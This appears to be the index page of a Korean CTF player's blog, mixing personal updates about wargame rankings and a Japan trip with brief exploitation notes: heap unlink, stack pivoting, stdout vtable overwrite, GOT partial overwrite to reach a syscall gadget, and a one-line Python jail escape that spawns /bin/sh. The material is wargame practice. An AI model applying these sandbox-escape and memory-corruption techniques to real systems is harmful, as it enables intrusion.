Profile

머리정리하는곳

c2w2m2

목표

pwnable.kr 120위 안에 들기를 했고, 그후 목표를 다시 pwnable.tw 100위 안으로 들기를 했는데, 이도 마쳤다. 뭔가 새로운 목표가 필요하다. pwnable.tw 50위 안으로 잡아볼까,,,

Daily life ·

[HITCON-Trainning] lab 11

중간중간에 쉬운거 띄고 푼거 띄고 하니까 11부터 풀게됬다. unlink 도 되고 spirit 도 될거같고 Top 도 될거같은데 그냥 unlink 연습삼아 unlink로 했다.

Pwnable/Heap ·

일본갔다왔다

갔다온 만큼 더 열심히 해야징

Daily life ·

pwntw 97위

핡 목표 달성했네요. 이제 reversing.kr 좀 하렵니당

Daily life ·

[Harekaze 2018] Flea_attack

윽 익스 75% 정도 다 짰을떄 같은팀 다른형님이 푸셔서 못써먹은 익스입니다 ㅠㅠ.. 그래도 원하는대로 bss 에 있는 flag 를 읽은게 아닌 쉘을 딴 익스니까 거기에 의미를 둡시당..

Pwnable ·

pop rbp => leave ret

이거 잘쓰면 ㄹㅇ루다가 영역 옮겨다니면서 체이닝 할 수 있다. 잘써먹자.

Today ·

puts 분석 조금

rax => strlen 결과rbp => stdoutrbx => strlen 결과 --------------------eax => stdout 안에 값rdx => rbp + 0x88 안에있는 포인터r8 => fs:0x10 값 0x7ffff7dd3780 => FILE Pointer 같음 [0xf7ff670000000001 ( fs:0x10 + 1 )] rdi : stdout stdout + 0xd8 => _IO_file_jumps stdout + 0xd8 포인터를 덮으면 될듯. 그리고 실제로 됬다.... secretgarden 풀었따리 힙베, 립베 릭하고 _IO_file_jumps는 vtable 꼴이므로 이걸 heap 쪽에 넣어두고, 패빈덥으로 stdout 쪽에 받고, stdout + 0xd8 에 있는 _..

Today ·

pyjail

getattr(__import__(dir(__import__("glob"))[23]),dir(__import__(dir(__import__("glob"))[23]))[309])("/bin/sh") . 없이 쉘띄우기

Today ·

Gadget

막 syscall 을 쓰고싶은데 syscall 가젯이 없을경우가 있다. 심지어 릭벡터가 없어서 libc에서 못불러오는 경우가 있다. 이럴경우에 쓸수 있는 방법이 있다. 이렇게 find "\x0f\x05" 로 검색해보면 read+14 부분에 syscall 이 있는걸 볼 수 있다. 그럼 이걸 어떻게 이용할 것인가 하면 바로 read_got 부분에 있는 libc의 하위 1바이트를 0x5e 로 고쳐주는 거다. 그러면 read_plt 를 부를경우, syscall 이 콜될것이다. 그리고 1바이트 경우에는 간단하게 되고 2바이트가 넘어가면 brute force 가 조금 필요하다. 그래도 aslr 그냥 뚫는거보단 훨씬 빠르다

Today ·